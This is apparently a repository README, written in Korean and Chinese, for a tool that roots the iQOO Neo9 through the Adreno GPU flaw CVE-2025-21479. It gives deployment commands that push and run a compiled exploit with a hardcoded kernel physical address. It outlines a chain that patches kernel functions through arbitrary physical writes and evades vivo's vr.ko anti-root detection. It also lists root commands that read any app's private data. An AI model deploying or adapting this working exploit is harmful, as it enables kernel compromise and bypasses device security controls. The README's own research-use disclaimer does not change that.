
iQOO Neo9 (PD2338C) 언락 불필요 Caps-Root 도구** — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리적 쓰기 권한 상승 방안
iQOO Neo9 (PD2338C) Bootloader 잠금 해제 불필요 Caps-Root 도구 — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리 쓰기 권한 상승 방안
Bootloader 잠금 해제, 펌웨어 플래싱, Magisk가 필요 없습니다. GPU 취약점을 통해 커널 수준 임의 물리 쓰기를 획득하고, 커널 핵심 함수를 패치한 뒤 전체 권한(41-bit caps) 으로 상주하는 root daemon이 되어 rootc / su에 root 기능을 제공합니다.
핵심 기능: euid를 2000으로 유지하여 vivo vr.ko 안티 루트 탐지를 우회합니다(euid=0이면 기기 재부팅 유발). root 권한은 uid=0과 동등하지만 프로세스 신원은 안전합니다.
CapEff: 000001ffffffffff(41비트 전체 권한), 앱 계층 위장이 아님vr.ko 탐지 무력화, 기기 충돌 없음su 래퍼, MT Manager / Termux에서 직접 호출 가능⚠️ 취약점 익스플로잇은 해당 커널의 구체적인 레이아웃(심볼 오프셋,
VIVO_VMET_BREAK_KMI기능,vr.ko동작)에 의존하므로, 다른 기기/커널은 새로 어댑팅해야 합니다.
# 클론 후 실행 (adb는 PATH에 있어야 함; 또는 $env:ADB로 경로 지정)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
스크립트가 자동으로: 세 가지 파일 푸시 → 재부팅 후 콜드 윈도우 확보 → 익스플로잇 다회 실행(적중률 ~50%/회) → daemon 준비 → 검증을 수행합니다.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Termux 설정: 최초 사용 시(root 권한으로) 실행해야 합니다:
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager: 설정 → ROOT → 사용자 정의 su 경로 → /data/local/tmp/su
su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)
왜 euid=2000인가? vivo 커널에는 vr.ko 안티 루트 모듈이 내장되어 있습니다: cred->euid==0인 vrp 도메인 외 프로세스를 감지하면 fatal(기기 재부팅)을 트리거합니다. MODE=10 권한 상승은 의도적으로 euid를 바꾸지 않고 fsuid/fsgid + caps만 기록합니다 — vr.ko가 트리거되지 않지만, 커널 capable() 검사는 모두 통과합니다(진짜 root 권한).
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ └── su # su 兼容包装器 (MT/Termux)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1로 여러 차례 재시도하세요cat /proc/uptime으로 확인하세요(uptime이 계속 증가하고 화면이 정상이면 = 기기가 죽지 않음)id에 uid=2000 표시: 원리 섹션 참조, 의도된 동작이며; 권한은 root와 동등합니다/data/local/tmp 권한: Termux 시나리오에서는 chmod 1777이 필요하며, 이는 모든 앱이 큐 파일을 쓸 수 있음을 의미합니다(개인용이면 무방; 신경 쓰이면 사용 후 chmod 771로 복원)Q: 진짜 root인가요? A: 네. 커널 capable() 검사(CapEff 전체 활성화, chown 0:0, /proc/iomem 읽기, 임의 앱 데이터 읽기)가 모두 통과합니다 — 커널이 root 권한이 있음을 인정하지만, uid 숫자만 2000일 뿐입니다.
Q: 벽돌이 될 수 있나요? A: 아닙니다. 파티션 쓰기나 영구 수정이 전혀 없으며, 최악의 경우 GPU가 멈추면 재부팅으로 복구됩니다.
Q: 다른 기종을 지원하나요? A: 다시 어댑팅해야 합니다(커널 레이아웃, 심볼 오프셋, vr.ko 동작이 모두 PD2338C 전용이며, vivo iQOO Neo9이고 시스템이 OriginOS 5라면 시도해볼 수 있습니다).
이 프로젝트는 보안 연구 및 개인 기기 사용 전용입니다. 본 도구 사용으로 발생하는 모든 결과(기기 손상, 데이터 손실, 보증 무효 포함하되 이에 국한되지 않음)는 사용자가 부담합니다. 현지 법률을 준수하고 불법적인 용도로 사용하지 마십시오.
| 항목 | 값 |
|---|
| 기기 | iQOO Neo9 (PD2338C) |
| 시스템 | Android 15 |
| 커널 | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| 메모리 레이아웃 | 물리 KASLR 없음(stext_pa=0xa8010000), VA 전체 slide |